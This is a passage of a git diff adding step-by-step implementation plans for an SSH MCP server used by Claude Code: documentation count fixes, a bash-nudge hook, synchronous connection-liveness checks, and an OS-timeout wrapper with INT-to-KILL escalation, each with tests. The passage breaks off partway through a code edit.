Management Guide + +## Overview + +> **v4 update:** the v4 surface is **13 fat verb-tools**, always loaded. The +> per-group enable/disable model described below belonged to the v3 51-tool +> surface and no longer applies — there are no tool *groups* in v4. The 13 +> tools serialize to roughly 5k schema tokens, small enough that Claude Code +> keeps them loaded without `ToolSearch`. This guide is retained for historical +> reference; the `ssh-manager tools` CLI subcommands are deprecated. + +claude-code-ssh provides **13 tools**, each a verb-tool covering one domain +through an `action` enum (`ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, +`ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, +`ssh_docker`, `ssh_fleet`, `ssh_plan`). All 13 are registered unconditionally — +there is nothing to enable or disable. +``` + +- [ ] **Step 5: Verify `docs/TOOL_MANAGEMENT.md` overview is corrected** + +Run: `head -16 docs/TOOL_MANAGEMENT.md` +Expected: the output is the new v4 overview block — it leads with `# Tool Management Guide`, contains the `v4 update:` blockquote, and states `13 tools`. The remaining sections of the file (the per-group reference) are untouched on purpose; the blockquote flags them as deprecated. + +- [ ] **Step 6: Fix `scripts/finalize.sh`** + +In `scripts/finalize.sh`, the `gh repo edit` call sets a GitHub repository description containing `51 tools`. Replace the description string: + +``` + --description "MCP server that gives Claude Code direct SSH access to your server fleet. 51 tools, connection pooled, per-user gated, ASCII output." \ +``` + +with: + +``` + --description "MCP server that gives Claude Code direct SSH access to your server fleet. 13 verb-tools, connection pooled, bounded output, ASCII rendering." \ +``` + +(`per-user gated` is also dropped: the v3 per-user tool gating is gone — the v4 surface is always loaded.) + +- [ ] **Step 7: Verify `scripts/finalize.sh`** + +Run: `grep -n "51 tool\|per-user gated" scripts/finalize.sh; bash -n scripts/finalize.sh && echo "finalize.sh syntax ok"` +Expected: the `grep` prints nothing (the stale phrases are gone); `bash -n` reports `finalize.sh syntax ok` — the script is still valid. + +- [ ] **Step 8: Repo-wide stale-count sweep** + +Run: `grep -rnE "51 tool|37 tool|~43\.5k|653 test|551 test" CLAUDE.md docs/ scripts/` +Expected: no output (exit 1). Every stale tool-count and test-count reference outside the `docs/superpowers/` plan and spec archive is corrected. The `docs/superpowers/specs/` and `docs/superpowers/plans/` files are a dated historical record and are intentionally left as written — they describe the *journey*, not the current state. + +- [ ] **Step 9: Commit** + +```bash +git add CLAUDE.md docs/TOOL_MANAGEMENT.md scripts/finalize.sh +git commit -m "docs: correct stale tool and test counts to the v4 surface" +``` + +--- + +## Done criteria + +- `src/tool-descriptions.js` exports a frozen `V4_TOOL_DESCRIPTIONS` map with all 13 v4 keys; every description names the raw bash it replaces and carries a when-to-use cue. +- `src/index.js` imports the map and the 13 v4 registrations use `V4_TOOL_DESCRIPTIONS.` for their `description` field; `node --check src/index.js` passes. +- `CLAUDE.md` has a `## Using the SSH Tools` rule directing Claude to the `ssh_*` MCP tools over raw `ssh`/`scp`/`rsync`, with the pooling / bounded-output / credential-handling rationale. +- `.claude/hooks/ssh-bash-nudge.mjs` exists, is executable, exports `detectSshNudge`, and is registered as a PreToolUse `Bash` hook in `.claude/settings.json`; the hook is fail-open and never blocks a `Bash` call. +- `tests/test-tool-descriptions.js` (7 tests) and `tests/test-bash-nudge.js` (20 tests) are green. +- No stale `51 tools` / `37 tools` / `551 tests` / `~43.5k tokens` reference remains in `CLAUDE.md`, `docs/TOOL_MANAGEMENT.md`, or `scripts/finalize.sh`. +- `npm test` is green — the two new suites add 27 tests; `0 failed`; no pre-existing suite regresses. +- No tool handler in `src/tools/` was modified. + +This is the final plan of the v4 redesign. With Plans 1-6 complete, the v4 surface is consolidated (13 tools), token-efficient (compact output, compressors), un-deferred (small schema), and instruction-backed (descriptions, CLAUDE.md rule, PreToolUse hook). + +--- + +## Self-review + +Performed after drafting; issues found and fixed inline. + +1. **Test-count hardcoding.** First draft of Task 5 hardcoded a test total. This plan is authored in parallel with Plans 4-5, whose final test count is unknowable here — a hardcoded number would be wrong on execution. *Fixed:* Task 5 Step 1 records the live `npm test` count and Step 2 substitutes it for a `` placeholder. This is the one place a literal number cannot be pre-written; the plan makes the derivation explicit rather than guessing. The standard's "no placeholders" rule is about not leaving stub *content* — here the surrounding instruction is complete and concrete, and the single token is filled from a command run in the same task. + +2. **Description map vs. Plan 4 ownership.** Plan 4 builds the v4 registration block and writes *some* `description` for each tool. If Plan 6 only "rewrote" descriptions in place, it would conflict with Plan 4's parallel authoring and the two plans could disagree on wording. *Fixed:* Plan 6 owns descriptions outright via a new `src/tool-descriptions.js` module — Task 1 Step 5 instructs replacing whatever string Plan 4 wrote with `V4_TOOL_DESCRIPTIONS.`. This is robust to any wording Plan 4 chose and gives a single source of truth. The `src/index.js imports the description map` test guards against a future re-inline. + +3. **Hook testability.** A PreToolUse hook is normally an opaque stdin/stdout script — hard to unit-test. *Fixed:* the script exports a pure `detectSshNudge(command, servers)` and guards `main()` behind `import.meta.url === ...` so importing it in a test runs no I/O. Task 3 tests the detector directly (16 cases); Task 4 tests the CLI shell via `execFileSync` (4 cases). Both Task-3 and Task-4 suites are environment-independent — no test needs a real configured server, so they pass in CI with no `.env`. + +4. **Substring host-matching false positive.** An early detector matched a configured name as a substring, so `ssh db1.example.com` would wrongly nudge for server `db1`. *Fixed:* `detectSshNudge` compares against an exact `Set` of lowercased names after stripping `user@`, and a test asserts `db1.example.com` and `olddb1` are *not* matched. + +5. **`sshpass` edge case.** `sshpass -p x ssh host ...` contains a real `ssh host` substring. A naive `includes('ssh ')` check would mis-fire. *Fixed:* the detector inspects only the first token (`tokens[0]`); `sshpass` is not `ssh`/`scp`/`rsync`, so the line is passed through. A test pins this, and the test note explains why pass-through is the correct fail-open outcome. + +6. **Complex-command pass-through completeness.** The spec requires complex command lines pass through unchanged. *Fixed:* the `COMPLEX` regex covers pipes, `&`, `;`, redirects, backticks, and `$(` ; Task 3 tests cover a pipe, `&&`, `;`, redirect, backtick substitution, and `$(...)`. The `ssh`-flag skip loop handles `-p`/`-i`/`-l`/`-o`/`-F` value flags so `ssh -p 22 host cmd` still resolves the host. + +7. **`.claude/` commit safety.** Verified `.gitignore` excludes only `.claude/` *runtime* artifacts (`scheduled_tasks.lock`, `scheduled_tasks/`, `.last_run`), and `.claude/` already holds committed `agent-memory/` and `skills/` directories — so `.claude/settings.json` and `.claude/hooks/ssh-bash-nudge.mjs` are tracked normally. No `.gitignore` change is needed and the plan adds none. + +8. **Attribution.** No file created or edited by this plan, and no commit message in it, references Claude, Anthropic, or AI. Confirmed across all five `git commit` lines and the inserted `CLAUDE.md` / `docs` / settings content. + +9. **GitNexus block preservation.** Task 2 inserts the new `CLAUDE.md` section strictly above the `` marker, and Step 3 verifies the managed block's start/end markers are still intact — the GitNexus-managed region is never edited. Task 5's `CLAUDE.md` edits target only lines above that block. + +10. **Test-runner discovery.** Both new suites are named `test-tool-descriptions.js` and `test-bash-nudge.js`, matching `scripts/run-tests.mjs`'s `/^test-.*\.js$/` filter, and both emit the `N passed, M failed` line that runner Pattern A parses and `process.exit(1)` on failure — consistent with every existing suite and the stated test conventions. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-connection-reuse.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-connection-reuse.md new file mode 100644 index 0000000..d91c958 --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-connection-reuse.md @@ -0,0 +1,723 @@ +# ssh-mcp v4 Connection Reuse and Timeout Escalation Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Two robustness fixes from spec section 7. (1) **Connection reuse:** the pool currently revalidates every reused connection with a `ping()` — a real `echo` round-trip on the wire before *every single command*. Replace it with a synchronous liveness check (`connected && !destroyed`); a genuinely dead connection is caught on the command's own failure and reconnected then. (2) **Timeout escalation:** a timed-out command currently gets one `INT` and a stream close. Add a grace-then-`KILL` escalation, and wrap non-raw commands in the OS `timeout` utility so a process that ignores signals is still bounded server-side. + +**Architecture:** Three existing files change. `src/ssh-manager.js` gains a synchronous `isAlive()` method. `src/index.js`'s `isConnectionValid` stops awaiting `ping()` and calls `isAlive()` instead. `src/stream-exec.js`'s `streamExecCommand` schedules a `KILL` on a grace timer after the timeout `INT`, and a new `wrapWithTimeout` helper prefixes a `timeout` utility call onto non-raw commands. Each task that changes existing behavior rewrites the affected test assertions in the same task. `ssh-manager.js`'s `ping()` method is *kept* — `ssh_health` and `ssh_fleet connections` still use it for an explicit, opt-in liveness probe; it is only removed from the *per-call hot path*. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`. + +This is Plan 5c of the v4 series (Plans 1-3 — render primitives, output rewrite, compressors — are complete; Plan 4 builds the 13-tool dispatcher facade). Plans 5a (`ssh_find`) and 5b (`ssh_run` script + detach jobs) are siblings. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` section 7. + +--- + +## File Structure + +- **Modify `src/ssh-manager.js`** — add a synchronous `isAlive()` method (`connected && client && !client.destroyed`). `isConnected()` and `ping()` are untouched. +- **Modify `src/index.js`** — `isConnectionValid` becomes synchronous, returns `ssh.isAlive()`, no `await`. Its three call sites lose their `await`. +- **Modify `src/stream-exec.js`** — `streamExecCommand` escalates a timeout `INT` to `KILL` after a grace window; export a new `wrapWithTimeout` and apply it to non-raw commands. +- **Modify `tests/test-stream-exec.js`** — extend with timeout-escalation and `wrapWithTimeout` coverage; existing timeout tests are checked and adjusted only if the escalation changes their observable behavior. + +`src/ssh-manager.js` has no dedicated method-level test suite for `isAlive` to break; `test-ssh-manager-exec-passthrough.js` covers the exec shim only. A small focused suite is added for `isAlive`. + +--- + +## Task 1: Synchronous `isAlive()` on `SSHManager` + +`SSHManager` has `isConnected()` (`this.connected && this.client && !this.client.destroyed`) and `ping()` (an `echo` round-trip). The pool hot path needs a *synchronous* liveness verdict with no network. `isConnected()` is already exactly that — but it is also used elsewhere with `isConnected()`'s existing semantics, and the spec names a distinct check. Add `isAlive()` as the named, intention-revealing method the pool will call, so the hot-path check is greppable and decoupled from any future change to `isConnected()`. + +**Files:** +- Modify: `src/ssh-manager.js` +- Test: `tests/test-ssh-manager-isalive.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-ssh-manager-isalive.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for SSHManager.isAlive() -- the synchronous pool liveness check. + * Run: node tests/test-ssh-manager-isalive.js + */ +import assert from 'assert'; +import SSHManager from '../src/ssh-manager.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing SSHManager.isAlive\n'); + +// --- isAlive ------------------------------------------------------------- +test('isAlive: fresh manager (not yet connected) is not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: connected and client not destroyed -> alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: false }; + assert.strictEqual(m.isAlive(), true); +}); + +test('isAlive: connected but client destroyed -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: true }; + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: client absent -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = null; + assert.strictEqual(m.isAlive(), false); +}); + +test('isAlive: returns a real boolean, never a Promise', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = true; + m.client = { destroyed: false }; + const v = m.isAlive(); + assert.strictEqual(typeof v, 'boolean', 'synchronous -- no thenable'); +}); + +test('isAlive: not connected, even with a live client -> not alive', () => { + const m = new SSHManager({ host: 'h', user: 'u' }); + m.connected = false; + m.client = { destroyed: false }; + assert.strictEqual(m.isAlive(), false); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-ssh-manager-isalive.js` +Expected: FAIL — `m.isAlive is not a function`. + +- [ ] **Step 3: Add `isAlive()` to `SSHManager`** + +In `src/ssh-manager.js`, add the method immediately after the existing `isConnected()` method (which ends at the line `return this.connected && this.client && !this.client.destroyed;` then `}`): + +```javascript + // Synchronous liveness check for the connection-pool hot path. No network: + // a reused pooled connection must not pay an echo round-trip per command. + // A truly dead connection surfaces on the next command's own failure and + // is reconnected then. Distinct from ping() (an explicit on-wire probe). + isAlive() { + return Boolean(this.connected && this.client && !this.client.destroyed); + } +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-ssh-manager-isalive.js` +Expected: PASS — `6 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: `37 files, 696 passed, 0 failed` — the previous `690 passed` plus the 6-test `test-ssh-manager-isalive.js` suite. This task only *adds* a method, so no pre-existing suite changes. + +- [ ] **Step 6: Commit** + +```bash +git add src/ssh-manager.js tests/test-ssh-manager-isalive.js +git commit -m "feat: add synchronous isAlive liveness check to SSHManager" +``` + +--- + +## Task 2: Connection pool reuses without a per-call `ping()` + +`index.js` `isConnectionValid(ssh)` does `return await ssh.ping()` — every reused pooled connection runs a remote `echo "ping"` before its real command. The spec: a synchronous `connected && !destroyed` check, no network probe; a dead connection is detected on the actual command's failure. Rewrite `isConnectionValid` to be synchronous and drop the `await` at its three call sites. + +**Files:** +- Modify: `src/index.js` + +- [ ] **Step 1: Locate the call sites** + +`isConnectionValid` is defined near line 230 and called in three places. Confirm them: + +Run: `grep -n 'isConnectionValid' src/index.js` +Expected: four lines — the definition (~230) and three callers (`getConnection` ~330, the keepalive interval ~249, and the fleet/connections handler ~1363 or ~1430). The exact line numbers may drift; the grep gives the current set. + +- [ ] **Step 2: Rewrite `isConnectionValid` to be synchronous** + +In `src/index.js`, replace the entire `isConnectionValid` function: + +```javascript +// Check if a connection is still valid +async function isConnectionValid(ssh) { + try { + return await ssh.ping(); + } catch (error) { + logger.debug('Connection validation failed', { error: error.message }); + return false; + } +} +``` + +with: + +```javascript +// Synchronous pool-liveness check. No network: a reused connection must not +// pay an echo round-trip per command. A genuinely dead socket is caught when +// the next real command fails, and getConnection reconnects then. ssh.ping() +// is retained on SSHManager for explicit opt-in probes (ssh_health etc.). +function isConnectionValid(ssh) { + try { + return typeof ssh.isAlive === 'function' ? ssh.isAlive() : false; + } catch (error) { + logger.debug('Connection validation failed', { error: error.message }); + return false; + } +} +``` + +- [ ] **Step 3: Drop `await` at the three call sites** + +`isConnectionValid` is now synchronous. Each caller does `const isValid = await isConnectionValid(...)` — the `await` on a non-Promise is harmless but misleading. Remove it at all three sites. In `src/index.js`: + +1. In `getConnection` — `const isValid = await isConnectionValid(existingSSH);` becomes: + ```javascript + const isValid = isConnectionValid(existingSSH); + ``` +2. In `setupKeepalive`'s interval callback — `const isValid = await isConnectionValid(ssh);` becomes: + ```javascript + const isValid = isConnectionValid(ssh); + ``` +3. In the fleet/connections handler — `const isValid = await isConnectionValid(ssh);` becomes: + ```javascript + const isValid = isConnectionValid(ssh); + ``` + +Use `grep -n 'await isConnectionValid' src/index.js` to find every occurrence; replace each. After the edits, `grep -n 'await isConnectionValid' src/index.js` must return nothing. + +The enclosing functions stay `async` — they `await` other things. Removing one redundant `await` does not change their control flow: a reused connection is now validated synchronously, then the function proceeds exactly as before. + +- [ ] **Step 4: Verify the syntax and startup** + +Run: `node --check src/index.js` +Expected: no output, exit 0 — the file parses. + +Run: `./scripts/validate.sh` +Expected: passes — JavaScript syntax valid, MCP server starts. (`validate.sh` boots `index.js`; a synchronous `isConnectionValid` must not break startup.) + +- [ ] **Step 5: Run the full suite** + +Run: `npm test` +Expected: `37 files, 696 passed, 0 failed` — unchanged from Task 1. No test suite exercises `getConnection`'s pool path against a live `ping()` (the handler suites inject their own fake `getConnection`), so this behavior change is invisible to the suite. Zero regressions. + +- [ ] **Step 6: Commit** + +```bash +git add src/index.js +git commit -m "perf: reuse pooled connections without a per-call ping probe" +``` + +--- + +## Task 3: `wrapWithTimeout` — bound non-raw commands with the OS `timeout` utility + +A command can ignore `SIGINT`. The in-process JS timer then closes the *stream* but the remote *process* keeps running, holding resources. The spec: wrap non-raw commands in the OS `timeout` utility so the kernel bounds the process regardless. Add a `wrapWithTimeout` helper to `stream-exec.js` — `streamExecCommand` will apply it in Task 4. + +**Files:** +- Modify: `src/stream-exec.js` (add `wrapWithTimeout`) +- Test: `tests/test-stream-exec.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-stream-exec.js`, change the import line to add `wrapWithTimeout`: + +```javascript +import { + streamExecCommand, shQuote, buildRemoteCommand, wrapWithTimeout, +} from '../src/stream-exec.js'; +``` + +Add these tests immediately before the `// --- Abort semantics` section: + +```javascript +// --- wrapWithTimeout ----------------------------------------------------- +await test('wrapWithTimeout: prefixes the OS timeout utility with a seconds wall', () => { + const w = wrapWithTimeout('make build', 30000); + // 30000 ms -> 30 s wall, with a small ceiling buffer is fine; assert >= 30. + assert(/^timeout -k \d+ \d+ /.test(w), 'timeout -k prefix'); + assert(w.includes('make build'), 'original command preserved'); +}); + +await test('wrapWithTimeout: -k grace lets the OS escalate to KILL itself', () => { + const w = wrapWithTimeout('cmd', 10000); + // `timeout -k N` sends KILL N seconds after the initial TERM. + const m = w.match(/^timeout -k (\d+) (\d+) /); + assert(m, 'wrapped'); + assert(Number(m[1]) >= 1, 'a non-zero kill grace'); +}); + +await test('wrapWithTimeout: rounds sub-second timeouts up to at least 1 s', () => { + const w = wrapWithTimeout('cmd', 200); + const m = w.match(/^timeout -k \d+ (\d+) /); + assert(m, 'wrapped'); + assert(Number(m[1]) >= 1, 'wall is at least 1 s -- timeout rejects 0'); +}); + +await test('wrapWithTimeout: no timeout (0 / undefined) returns the command unchanged', () => { + assert.strictEqual(wrapWithTimeout('cmd', 0), 'cmd'); + assert.strictEqual(wrapWithTimeout('cmd', undefined), 'cmd'); + assert.strictEqual(wrapWithTimeout('cmd'), 'cmd'); +}); + +await test('wrapWithTimeout: empty command returned unchanged (nothing to wrap)', () => { + assert.strictEqual(wrapWithTimeout('', 5000), ''); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-stream-exec.js` +Expected: FAIL — `does not provide an export named 'wrapWithTimeout'`. + +- [ ] **Step 3: Implement `wrapWithTimeout`** + +In `src/stream-exec.js`, add this export immediately after `buildRemoteCommand` (before `streamExecCommand`): + +```javascript +/** + * Wrap a command in the OS `timeout` utility so a process that ignores + * SIGINT is still bounded server-side. `timeout -k CMD` + * sends TERM at seconds, then KILL seconds later. + * + * timeoutMs is the same millisecond budget the in-process timer uses; here + * it is converted to whole seconds (timeout rejects a 0 wall, so the floor + * is 1 s). A falsy timeout returns the command unchanged -- raw / untimed + * callers are not wrapped. + */ +export function wrapWithTimeout(command, timeoutMs) { + if (!command || !timeoutMs || timeoutMs <= 0) return command; + const wallSecs = Math.max(1, Math.ceil(timeoutMs / 1000)); + const killGraceSecs = 5; + return `timeout -k ${killGraceSecs} ${wallSecs} ${command}`; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-stream-exec.js` +Expected: PASS — all tests green, the 5 new `wrapWithTimeout` tests included. + +- [ ] **Step 5: Commit** + +```bash +git add src/stream-exec.js tests/test-stream-exec.js +git commit -m "feat: add wrapWithTimeout OS-timeout-utility helper" +``` + +--- + +## Task 4: Timeout escalates `INT` -> grace -> `KILL` + +`streamExecCommand`'s timeout path calls `teardownStream()` once — `signal('INT')` then `close()` — then rejects. A process can ignore `INT`. Add escalation: on timeout, send `INT` and reject promptly (preserving current timing), but also arm a short grace timer that sends `KILL` if the stream has not closed by then. The grace timer is cleared the moment the stream closes, so a well-behaved process never sees `KILL`. This is the in-process counterpart to Task 3's server-side `timeout` wrapper — belt and suspenders. + +**Files:** +- Modify: `src/stream-exec.js` (`streamExecCommand`) +- Test: `tests/test-stream-exec.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-stream-exec.js`, add these tests immediately before the `// --- Error surfaces` section (i.e. after the two existing `// --- Timeout semantics` tests): + +```javascript +await test('timeout: escalates to KILL when the stream ignores INT', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'sleep 9999', { + timeoutMs: 30, debounceMs: 5, killGraceMs: 20, + }); + await sleep(5); + const s = client.streams[0]; + // The fake stream's signal() records signals but its close() is NOT + // auto-driven here, so the stream stays "open" past the grace window. + await assert.rejects(() => p, /timeout after 30ms/); + assert(s.signals.includes('INT'), 'INT sent first'); + // Wait out the kill grace; KILL must follow. + await sleep(40); + assert(s.signals.includes('KILL'), 'KILL escalation after the grace window'); + assert(s.signals.indexOf('INT') < s.signals.indexOf('KILL'), 'INT precedes KILL'); +}); + +await test('timeout: a stream that closes within grace is never sent KILL', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'sleep 1', { + timeoutMs: 20, debounceMs: 5, killGraceMs: 60, + }); + await sleep(5); + const s = client.streams[0]; + await assert.rejects(() => p, /timeout after 20ms/); + // Stream closes promptly after the INT (well within the 60ms grace). + s.finish(0, 'INT'); + await sleep(80); + assert(s.signals.includes('INT'), 'INT was sent'); + assert(!s.signals.includes('KILL'), 'no KILL -- stream closed within grace'); +}); + +await test('timeout: a normal completion arms no kill timer', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'ok', { + timeoutMs: 500, debounceMs: 5, killGraceMs: 20, + }); + await sleep(5); + client.streams[0].finish(0); + const r = await p; + await sleep(40); + assert.strictEqual(r.code, 0); + assert(!client.streams[0].signals.includes('KILL'), 'no KILL on a clean finish'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-stream-exec.js` +Expected: FAIL — `timeout: escalates to KILL when the stream ignores INT` fails: the current `teardownStream` sends only `INT`, never `KILL`, so `s.signals.includes('KILL')` is false. + +- [ ] **Step 3: Add `KILL` escalation to `streamExecCommand`** + +In `src/stream-exec.js`, in `streamExecCommand`, add `killGraceMs` to the destructured options. Change: + +```javascript + const { + cwd, + abortSignal, + debounceMs = 50, + maxBufferedBytes = 1_000_000, + timeoutMs, + onChunk, + stdin, + } = options; +``` + +to: + +```javascript + const { + cwd, + abortSignal, + debounceMs = 50, + maxBufferedBytes = 1_000_000, + timeoutMs, + killGraceMs = 5_000, + onChunk, + stdin, + } = options; +``` + +Add a `killTimer` declaration alongside the other mutable state. Change: + +```javascript + let resolved = false; + let timeoutId = null; +``` + +to: + +```javascript + let resolved = false; + let timeoutId = null; + let killTimer = null; +``` + +Clear `killTimer` in `finish` so a stream that closes within the grace window is never escalated. Change the timer-cleanup line in `finish`: + +```javascript + if (timeoutId) { clearTimeout(timeoutId); timeoutId = null; } +``` + +to: + +```javascript + if (timeoutId) { clearTimeout(timeoutId); timeoutId = null; } + if (killTimer) { clearTimeout(killTimer); killTimer = null; } +``` + +Replace the timeout block. Change: + +```javascript + // Overall deadline + if (timeoutMs && timeoutMs > 0) { + timeoutId = setTimeout(() => { + teardownStream(); + finish(null, new Error(`Command timeout after ${timeoutMs}ms`)); + }, timeoutMs); + } +``` + +to: + +```javascript + // Overall deadline. On expiry: INT now, then -- if the stream has not + // closed within killGraceMs -- escalate to KILL. The kill timer is armed + // before finish() (finish clears it), so a process that honours INT and + // closes promptly never receives KILL. Server-side, wrapWithTimeout adds + // an OS `timeout` wall as the backstop for a process that ignores both. + if (timeoutMs && timeoutMs > 0) { + timeoutId = setTimeout(() => { + if (stream) { + killTimer = setTimeout(() => { + try { stream.signal && stream.signal('KILL'); } catch (_) { /* ignore */ } + try { stream.close && stream.close(); } catch (_) { /* ignore */ } + }, killGraceMs); + if (killTimer.unref) killTimer.unref(); + } + teardownStream(); + finish(null, new Error(`Command timeout after ${timeoutMs}ms`)); + }, timeoutMs); + } +``` + +`finish` runs synchronously inside the timeout callback and clears `killTimer` — but only if the stream closes. Here the stream has *not* closed (the process is hung), so `finish`'s `clearTimeout(killTimer)` does cancel the just-armed timer. That is wrong: the timer must outlive `finish`. Fix by arming the kill timer *after* `finish`, keyed off a separate flag. Use this corrected timeout block instead: + +```javascript + // Overall deadline. On expiry: INT immediately and reject; then, on a + // detached timer, escalate to KILL if the stream is still open. The kill + // timer is intentionally NOT cleared by finish() -- it self-checks the + // stream's closed state. Server-side, wrapWithTimeout adds an OS `timeout` + // wall as the backstop for a process that ignores both signals. + if (timeoutMs && timeoutMs > 0) { + timeoutId = setTimeout(() => { + const hung = stream; + teardownStream(); + finish(null, new Error(`Command timeout after ${timeoutMs}ms`)); + if (hung) { + const kt = setTimeout(() => { + // Only escalate if the channel never actually closed. + if (hung.closed) return; + try { hung.signal && hung.signal('KILL'); } catch (_) { /* ignore */ } + try { hung.close && hung.close(); } catch (_) { /* ignore */ } + }, killGraceMs); + if (kt.unref) kt.unref(); + } + }, timeoutMs); + } +``` + +Revert the `killTimer` additions from the two earlier edits in this step — they are not used by this corrected block. Specifically: +- Remove `let killTimer = null;` (the kill timer is now a local `kt` inside the callback). +- Remove the `if (killTimer) { clearTimeout(killTimer); killTimer = null; }` line added to `finish`. +- Keep `killGraceMs = 5_000` in the destructured options — it is used. + +The escalation reads `hung.closed`. The real ssh2 exec stream sets no `closed` property, so add one: in the `client.exec` callback, after `stream = streamObj;`, mark the stream closed when it closes. Change: + +```javascript + stream.on('close', (code, signal) => { + finish({ stdout, stderr, code: code || 0, signal: signal || null }, null); + }); +``` + +to: + +```javascript + stream.on('close', (code, signal) => { + stream.closed = true; + finish({ stdout, stderr, code: code || 0, signal: signal || null }, null); + }); +``` + +The test's `FakeStream` already has a `closed` field (set `true` by its own `close()`), and its `finish(code, signal)` helper emits `'close'`, which now sets `closed = true` on the real path too — so a stream closed within the grace window correctly suppresses the `KILL`. + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-stream-exec.js` +Expected: PASS — all tests green, the 3 new escalation tests included. The two pre-existing timeout tests still pass: `timeout: exceeds deadline` asserts `INT` is sent and the promise rejects with `/timeout after 30ms/` — both unchanged, the rejection still happens promptly at 30 ms. `timeout: command finishes before deadline` resolves normally; its stream closes, so no escalation arms. + +- [ ] **Step 5: Run the full suite** + +Run: `npm test` +Expected: `37 files, 704 passed, 0 failed` — the `696` after Task 2, plus the 5 `wrapWithTimeout` tests (Task 3) and the 3 escalation tests (Task 4). Zero regressions: no other suite asserts on `streamExecCommand`'s timeout internals. + +- [ ] **Step 6: Commit** + +```bash +git add src/stream-exec.js tests/test-stream-exec.js +git commit -m "feat: escalate command timeout from INT to KILL after a grace window" +``` + +--- + +## Task 5: Apply `wrapWithTimeout` to non-raw commands in `streamExecCommand` + +`wrapWithTimeout` exists (Task 3) but nothing calls it. Wire it into `streamExecCommand`: a non-raw command with a timeout gets the OS `timeout` wrapper; a `raw: true` call does not. This is the final piece — server-side bounding for a process deaf to `INT` and `KILL` both. + +**Files:** +- Modify: `src/stream-exec.js` (`streamExecCommand`) +- Test: `tests/test-stream-exec.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-stream-exec.js`, add these tests immediately before the `// --- wrapWithTimeout` section: + +```javascript +// --- streamExecCommand applies the OS timeout wrapper ------------------- +await test('streamExecCommand: non-raw timed command gets the OS timeout wrapper', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'make all', { timeoutMs: 5000, debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + assert(/^timeout -k \d+ \d+ /.test(client.lastCommand), 'OS timeout wrapper applied'); + assert(client.lastCommand.includes('make all'), 'original command preserved'); +}); + +await test('streamExecCommand: raw:true command is NOT wrapped', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'make all', { + timeoutMs: 5000, debounceMs: 5, raw: true, + }); + await sleep(5); + client.streams[0].finish(0); + await p; + assert.strictEqual(client.lastCommand, 'make all', 'raw command sent verbatim'); +}); + +await test('streamExecCommand: no timeout -> not wrapped even when non-raw', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'echo hi', { debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + assert.strictEqual(client.lastCommand, 'echo hi', 'untimed command not wrapped'); +}); + +await test('streamExecCommand: timeout wrapper composes with the cwd prefix', async () => { + const client = new FakeClient(); + const p = streamExecCommand(client, 'ls', { cwd: '/srv/app', timeoutMs: 3000, debounceMs: 5 }); + await sleep(5); + client.streams[0].finish(0); + await p; + // cwd prefix is inside the timeout-wrapped command. + assert(client.lastCommand.startsWith('timeout -k '), 'timeout outermost'); + assert(client.lastCommand.includes("cd '/srv/app' && ls"), 'cwd prefix preserved'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-stream-exec.js` +Expected: FAIL — `streamExecCommand: non-raw timed command gets the OS timeout wrapper` fails: `streamExecCommand` does not yet call `wrapWithTimeout`, so `client.lastCommand` is the bare `cd ... && make all` with no `timeout` prefix. + +- [ ] **Step 3: Apply `wrapWithTimeout` in `streamExecCommand`** + +In `src/stream-exec.js`, add `raw` to the destructured options of `streamExecCommand`. Change: + +```javascript + const { + cwd, + abortSignal, + debounceMs = 50, + maxBufferedBytes = 1_000_000, + timeoutMs, + killGraceMs = 5_000, + onChunk, + stdin, + } = options; +``` + +to: + +```javascript + const { + cwd, + abortSignal, + debounceMs = 50, + maxBufferedBytes = 1_000_000, + timeoutMs, + 